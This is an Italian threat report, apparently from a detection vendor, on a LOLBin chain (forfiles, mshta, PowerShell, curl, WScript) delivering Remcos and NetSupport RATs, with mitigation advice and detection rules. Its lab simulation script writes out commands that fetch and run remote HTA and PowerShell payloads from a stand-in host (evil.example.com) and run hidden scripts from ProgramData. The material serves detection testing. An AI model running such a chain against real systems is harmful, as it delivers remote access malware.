È possibile abusare dei LOLBins per consegnare payload RAT?
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
Questo rapporto delinea una catena di infezione a più stadi che sfrutta aggressivamente le utilità integrate di Windows (LOLBins) per recuperare ed eseguire strumenti di accesso remoto, inclusi Remcos e NetSupport Manager. L’operatore concatena forfiles, mshta, PowerShell, curl, tar, WScript e modifiche mirate al registro per attivare i payload, stabilire la persistenza e ridurre la visibilità. Il flusso di lavoro sfrutta anche il comportamento di living-off-the-land per integrarsi silenziosamente nell’attività amministrativa di routine. Malwarebytes ha identificato l’attività e bloccato l’indirizzo IP correlato. In generale, sottolinea come l’abuso di LOLBin possa consegnare in modo affidabile i RAT.
Indagine
I ricercatori hanno visto inizialmente forfiles.exe generare mshta, che ha scaricato un HTA dannoso che ha eseguito PowerShell per recuperare un PDF esca contenente un archivio TAR. Dopo l’estrazione, un glaxnimate.exe trojanizzato ha rilasciato componenti frammentati in ProgramData, quindi li ha riassemblati e lanciati utilizzando WScript, script batch e file di supporto. La persistenza è stata impostata creando un valore UserInitMprLogonScript sotto HKCUEnvironment che faceva riferimento a un client binario dannoso.
Mitigazione
Monitora l’esecuzione anomala di LOLBin, in particolare forfiles, mshta, curl, tar, expand e modifiche sospette al registro all’interno di HKCUEnvironment. Imporre whitelisting delle applicazioni, abilitare il log completo di PowerShell e prevenire l’esecuzione di script da ProgramData per limitare la messa in scena. Blocca traffico HTTP in uscita insolito su IP sconosciuti e applica filtri URL per interrompere i tentativi di download iniziali.
Risposta
Quando rilevato, isola l’host, cattura la telemetria della riga di comando completa e raccogli gli artefatti rilasciati per l’analisi hash. Rimuovi la voce del registro dannosa ed elimina i file creati in ProgramData. Esegui una scansione endpoint con firme AV aggiornate e implementa un blocco a livello di rete per l’indirizzo IP dell’attaccante e eventuali domini associati.
Flusso di attacco
Rilevamenti
LOLBAS WScript / CScript (via process_creation)
Visualizza
Uso Sospetto di CURL (via cmdline)
Visualizza
Possibili Punti di Persistenza [ASEPs – Software/Hive NTUSER] (via cmdline)
Visualizza
File Sospetti Estratti da un Archivio (via file_event)
Visualizza
LOLBAS ForFiles (via cmdline)
Visualizza
Rilevamento dell’Abuso dei LOLBin per la Distribuzione di Trojan di Accesso Remoto [Creazione Processo di Windows]
Visualizza
Esecuzione della Simulazione
Prerequisito: Il Controllo Preliminare della Telemetria e del Baseline deve essere superato.
Motivazione: Questa sezione descrive l’esatta esecuzione della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente le TTP identificate e mirare a generare l’esatta telemetria prevista dalla logica di rilevamento.
-
Narrativa e Comandi dell’Attacco:
L’operatore del red-team mira a distribuire il Remcos RAT utilizzando una catena di LOLBins per evitare di scaricare direttamente un eseguibile.- Scoperta e Messa in Scena: Use
forfiles.exeper trovare una directory di destinazione e avviaremshtacon un URL dannoso che ospita un payload HTA. - Download di PowerShell Senza File: Invoke
powershell.execon-NoProfile -Command curlper recuperare uno script di secondo stadio da un server C2. - Esecuzione VBScript: Distribuire un
processor.vbsviacreatocon%ProgramData%. - Batch Dropper: Eseguire un file batch nascosto (
patcher.bat) tramitecmd.exerichiamato tramiteIWshShell3.Runper finalizzare la persistenza.
Ogni passaggio genera un evento di creazione del processo distinto che corrisponde a una delle selezioni Sigma, assicurando che la regola si attivi.
- Scoperta e Messa in Scena: Use
-
Script di Test di Regressione:
Lo script sotto riproduce le quattro selezioni in un laboratorio controllato. Registra ogni comando su un file temporaneo per una verifica successiva.#------------------------------------------------- # Simulazione di Abuso LOLBin – attiva la regola Sigma #------------------------------------------------- $log = "$env:TEMPlolbin_simulation.log" Clear-Content -Path $log -ErrorAction SilentlyContinue # 1. forfiles.exe -> mshta $cmd1 = 'forfiles /p C:WindowsSystem32 /m *.exe /c "cmd /c mshta https://evil.example.com/payload.hta"' Write-Output "[+] Executing: $cmd1" | Tee-Object -FilePath $log Invoke-Expression $cmd1 # 2. powershell.exe -> curl download $cmd2 = 'powershell.exe -NoProfile -Command "curl https://evil.example.com/stage.ps1 -OutFile $env:TEMPstage.ps1"' Write-Output "[+] Executing: $cmd2" | Tee-Object -FilePath $log Invoke-Expression $cmd2 # 3. wscript.exe -> processor.vbs $vbsPath = "$env:ProgramDataprocessor.vbs" @" Set fso = CreateObject("Scripting.FileSystemObject") fso.CreateTextFile("$env:ProgramDataremcos.exe").Write "malicious" "@ | Set-Content -Path $vbsPath -Encoding ASCII $cmd3 = "C:WindowsSystem32WScript.exe `"$vbsPath`"" Write-Output "[+] Executing: $cmd3" | Tee-Object -FilePath $log Invoke-Expression $cmd3 # 4. IWshShell3.Run -> cmd /c patcher.bat $batPath = "$env:ProgramDatapatcher.bat" "@ echo @echo off > %TEMP%nothing.txt "@ | Set-Content -Path $batPath -Encoding ASCII $cmd4 = "cscript //nologo //e:jscript `"var sh = new ActiveXObject('WScript.Shell'); sh.Run('cmd.exe /c %ProgramData%patcher.bat',0,true);`"" Write-Output "[+] Executing: $cmd4 (via IWshShell3.Run)" | Tee-Object -FilePath $log Invoke-Expression $cmd4 Write-Output "[+] Simulation complete." | Tee-Object -FilePath $log -
Comandi di Pulizia:
Rimuovi gli artefatti per ripristinare l’host a uno stato pulito.# Cleanup LOLBin simulation artifacts Remove-Item -Path "$env:ProgramDataprocessor.vbs" -ErrorAction SilentlyContinue Remove-Item -Path "$env:ProgramDataremcos.exe" -ErrorAction SilentlyContinue Remove-Item -Path "$env:ProgramDatapatcher.bat" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPstage.ps1" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPlolbin_simulation.log" -ErrorAction SilentlyContinue Write-Output "[+] Cleanup completed."